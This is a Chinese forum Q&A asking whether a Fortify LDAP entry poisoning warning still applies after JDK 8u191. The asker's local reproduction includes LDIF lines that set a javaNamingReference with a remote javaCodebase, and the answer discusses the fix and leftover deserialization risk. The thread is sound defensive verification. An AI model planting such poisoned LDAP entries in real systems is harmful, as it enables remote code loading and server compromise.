Fortify 報告了我的一個 Spring 應(yīng)用程序中的一個 LDAP 條目中毒漏洞。您可以從以下鏈接獲取有關(guān)此漏洞的更多信息:https://www.youtube.com/watch?v=Y8a5nB-vy78&feature=youtu.be&t=2111https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdfhttps://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf我決定嘗試自己證明這是否仍然是一個漏洞。我通過使用 Spring Tool Suite 做到了這一點:文件 -> 新建 -> 導(dǎo)入 spring 入門內(nèi)容搜索 ldap 并導(dǎo)入 Authenticating Ldap -> complete code sethttps://spring.io/guides/gs/authenticating-ldap/然后,我在包含的 test-server.ldif 文件中添加了以下行到 bob 的條目以及開發(fā)人員的條目:javaFactory: PayloadObjectobjectClass: javaNamingReferencejavaCodebase: http://127.0.0.1:9999/javaClassName: PayloadObject為了運行它,我需要將以下行添加到 application.properties:spring.ldap.embedded.validation.enabled=false我啟動了 Wireshark 并運行了 Spring 示例應(yīng)用程序,果然,當(dāng)我使用 bob 登錄時,我在 Wireshark 的 9999 端口上獲得了成功。當(dāng)我讓一位同事測試同樣的東西時,他無法重現(xiàn)。經(jīng)過一番研究,我們發(fā)現(xiàn)他的 jdk 比我更新,并且在我更新我的 jdk 后,我也無法重現(xiàn)該問題。我們將其縮小到 jdk-8u191 是引入“修復(fù)”的版本,但我在 java 發(fā)行說明中找不到任何解釋為什么或如何修復(fù)它的內(nèi)容。我的問題是 - 如果我們正在運行 jdk-8u191 或更新版本,現(xiàn)在 LDAP 條目中毒是否為假/陽性?或者是否有一些配置選項可以設(shè)置為覆蓋這個“修復(fù)”?
1 回答
慕田峪4524236
TA貢獻1875條經(jīng)驗 獲得超5個贊
8u191 關(guān)閉了LDAP 中的遠程類加載漏洞,盡管研究正在進行中。每當(dāng)您在 Java 中將字節(jié)流轉(zhuǎn)換為 Object 時,您需要考慮類加載(8u191 解決的問題),以及不安全的反序列化。
當(dāng) CVE 得到解決時,它們通常不在發(fā)行說明中。
至于來自 Fortify 的警報是否是誤報,我認為評估與您的應(yīng)用程序相關(guān)的風(fēng)險更為重要。
例如,要利用此漏洞,攻擊者至少需要直接訪問您的 LDAP 實例(參見第 31 頁),這可能表明存在更大的安全問題。在 8u191 及之后,攻擊者還需要在你的類路徑中找到一個容易受到不安全反序列化的類,以重現(xiàn) BH 演講所展示的內(nèi)容。
添加回答
舉報
0/150
提交
取消
